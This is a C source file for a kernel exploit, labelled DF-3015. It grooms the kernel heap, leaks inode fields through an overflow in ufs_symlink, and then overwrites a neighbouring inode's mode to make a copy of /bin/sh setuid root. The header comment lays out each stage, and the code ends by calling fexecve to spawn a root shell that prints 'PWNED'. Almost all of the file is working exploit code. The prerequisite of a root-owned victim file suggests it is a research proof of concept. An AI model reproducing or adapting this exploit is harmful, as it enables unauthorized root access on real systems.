DF-3015 / exp3015.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 | /* * DF-3015 exploit v3 โ unprivileged uid0 via ufs_symlink heap overflow. * * Strategy (see VERDICT.md): * 1. SAFE TRAIN: many (S_i len-60 symlink, V_i file w/ /bin/sh content) * pairs, fds held. Fills partially-free 320-byte slab zones until * allocation reaches steady state (single active zone, consecutive * bump allocation). * 2. CALIBRATION/LEAK: S_leak (len 280 โ smashes exactly the next free * chunk, which V_leak then M_ZERO-wipes) followed by V_leak. * readlink(S_leak) == DF-0778 leak of V_leak's in-memory inode * header. Verify leak[144..152) == V_leak ino (proves stride-320 * adjacency AND our offset math), extract mount constants * (i_fs/i_dev/i_devvp). Retry train+leak until verified. * 3. WEAPON LAYOUT: S_before (len 60, no smash) then V_victim (sh * content) => V_victim chunk == S_before chunk + 1. * Wait for root: chown root:wheel V_victim; chmod 755 (/tmp/GO). * 4. FIRE: unlink S_before (len 60 โ inactive bzero stays inside its * own di_db+di_ib), then symlink W (len 282 payload): kmalloc LIFO * pops S_before's chunk; bcopy rewrites V_victim[0..178): repaired * i_devvp/i_dev/i_fs, benign garbage elsewhere, di_mode = * IFREG|ISUID|0755 (0x89ED). Immediately fexecve(V_victim fd) * -> euid 0. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <sys/stat.h> #define TRAIN_BATCH 150 #define TRAIN_MAX 1200 #define XI_DEVVP 120 /* neighbor field offsets in leak/payload */ #define XI_DEV 136 #define XI_NUMBER 144 #define XI_FS 160 #define XI_FLAG_ 128 static int vfd[TRAIN_MAX + 8]; static int mkpair(const char *dir, int idx, int *vfd, ino_t *vino, int smashlen); static int mkpair(const char *dir, int idx, int *vfd, ino_t *vino, int smashlen) { char p[128], target[300]; struct stat st; int fd, sf; char buf[16384]; ssize_t rn; /* S: symlink, smashlen <= 60 keeps the creation smash inside * di_db+di_ib (own object); 280 smashes the following chunk. */ memset(target, 'S', smashlen); target[smashlen] = 0; snprintf(p, sizeof(p), "%s/S%d", dir, idx); if (symlink(target, p)) { perror("symlink S"); return (-1); } /* V: regular file (chunk filler; content only for victims) */ snprintf(p, sizeof(p), "%s/V%d", dir, idx); fd = open(p, O_RDWR | O_CREAT | O_EXCL, 0644); if (fd < 0) { perror("open V"); return (-1); } if (idx >= 900000) { /* calibration/weapon victims get /bin/sh */ sf = open("/bin/sh", O_RDONLY); if (sf < 0) { perror("open /bin/sh"); return (-1); } while ((rn = read(sf, buf, sizeof(buf))) > 0) if (write(fd, buf, rn) != rn) { perror("write V"); return (-1); } close(sf); } if (fstat(fd, &st)) { perror("fstat V"); return (-1); } *vfd = fd; if (vino) *vino = st.st_ino; return (0); } int main(int argc, char **argv) { const char *dir = (argc > 1) ? argv[1] : "/mnt/p"; const char *go = (argc > 2) ? argv[2] : "/tmp/df3015.GO"; char p[128], target[300], payload[283]; unsigned char leak[1024]; unsigned char k_fs[8], k_dev[8], k_devvp[8]; int i, n, wfd = -1; ino_t wvino = 0, lvino = 0; ssize_t got; struct stat st; /* ---- 1+2: train until calibrated ---- */ for (n = 0; n < TRAIN_MAX; n++) { int lfd; if (mkpair(dir, n, &vfd[n], NULL, 60)) return (1); if ((n + 1) % TRAIN_BATCH) continue; /* calibration probe: leak pair */ if (mkpair(dir, 900000 + n, &lfd, &lvino, 280)) return (1); snprintf(p, sizeof(p), "%s/S%d", dir, 900000 + n); got = readlink(p, leak, sizeof(leak) - 1); if (got == 280 && memcmp(leak + XI_NUMBER, &lvino, 8) == 0) { printf("[cal] ADJACENCY VERIFIED after %d pairs " "(leak i_number == V ino %llu)\n", n + 1, (unsigned long long)lvino); memcpy(k_fs, leak + XI_FS, 8); memcpy(k_dev, leak + XI_DEV, 8); memcpy(k_devvp, leak + XI_DEVVP, 8); close(lfd); goto calibrated; } printf("[cal] not adjacent yet after %d pairs " "(readlink=%zd)\n", n + 1, got); close(lfd); } printf("[cal] FAILED after %d pairs\n", TRAIN_MAX); return (4); calibrated: printf("[cal] k_fs = %02x%02x%02x%02x%02x%02x%02x%02x\n", k_fs[0],k_fs[1],k_fs[2],k_fs[3],k_fs[4],k_fs[5],k_fs[6],k_fs[7]); printf("[cal] k_dev = %02x%02x%02x%02x%02x%02x%02x%02x\n", k_dev[0],k_dev[1],k_dev[2],k_dev[3],k_dev[4],k_dev[5],k_dev[6],k_dev[7]); printf("[cal] k_devvp= %02x%02x%02x%02x%02x%02x%02x%02x\n", k_devvp[0],k_devvp[1],k_devvp[2],k_devvp[3],k_devvp[4],k_devvp[5],k_devvp[6],k_devvp[7]); fflush(stdout); { int z; for (z = 0; z < 8; z++) if (k_fs[z] == 0 || k_dev[z] == 0 || k_devvp[z] == 0) { printf("[cal] FATAL NUL byte in constants โ " "remount and retry\n"); return (5); } } /* ---- 3: weapon layout [S_before][V_victim] ---- */ memset(target, 'S', 60); target[60] = 0; snprintf(p, sizeof(p), "%s/Sbefore", dir); if (symlink(target, p)) { perror("symlink Sbefore"); return 1; } snprintf(p, sizeof(p), "%s/VVICTIM", dir); wfd = open(p, O_RDWR | O_CREAT | O_EXCL, 0644); if (wfd < 0) { perror("open VVICTIM"); return 1; } { int sf = open("/bin/sh", O_RDONLY); char buf[16384]; ssize_t rn; while ((rn = read(sf, buf, sizeof(buf))) > 0) write(wfd, buf, rn); close(sf); } fstat(wfd, &st); wvino = st.st_ino; printf("[wpn] Sbefore + VVICTIM (ino %llu) created\n", (unsigned long long)wvino); printf("[wpn] waiting for root: chown root:wheel %s/VVICTIM; " "chmod 755 %s/VVICTIM; touch %s\n", dir, dir, go); fflush(stdout); while (access(go, F_OK) != 0) usleep(100000); fstat(wfd, &st); printf("[wpn] GO; VVICTIM uid=%u mode=%o\n", st.st_uid, st.st_mode); if (st.st_uid != 0 || (st.st_mode & 0777) != 0755) { printf("[wpn] VVICTIM not chowned โ abort\n"); return (6); } /* ---- 4: fire ---- */ snprintf(p, sizeof(p), "%s/Sbefore", dir); if (unlink(p)) { perror("unlink Sbefore"); return 1; } printf("[fire] Sbefore freed; creating W\n"); fflush(stdout); memset(payload, 'W', 282); memcpy(payload + XI_DEVVP, k_devvp, 8); memcpy(payload + XI_FLAG_, "\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA", 8); memcpy(payload + XI_DEV, k_dev, 8); memcpy(payload + XI_FS, k_fs, 8); payload[280] = (char)0xED; payload[281] = (char)0x89; payload[282] = 0; snprintf(p, sizeof(p), "%s/W", dir); if (symlink(payload, p)) { perror("symlink W"); return 1; } printf("[fire] W created; fexecve in 3..2..1\n"); fflush(stdout); { char *av[] = { "-sh", "-c", "id; echo ===PWNED===; sh", NULL }; char *ev[] = { "PATH=/bin:/usr/bin:/sbin:/usr/sbin", NULL }; fexecve(wfd, av, ev); } printf("[fire] fexecve failed: %s\n", strerror(errno)); return (7); } |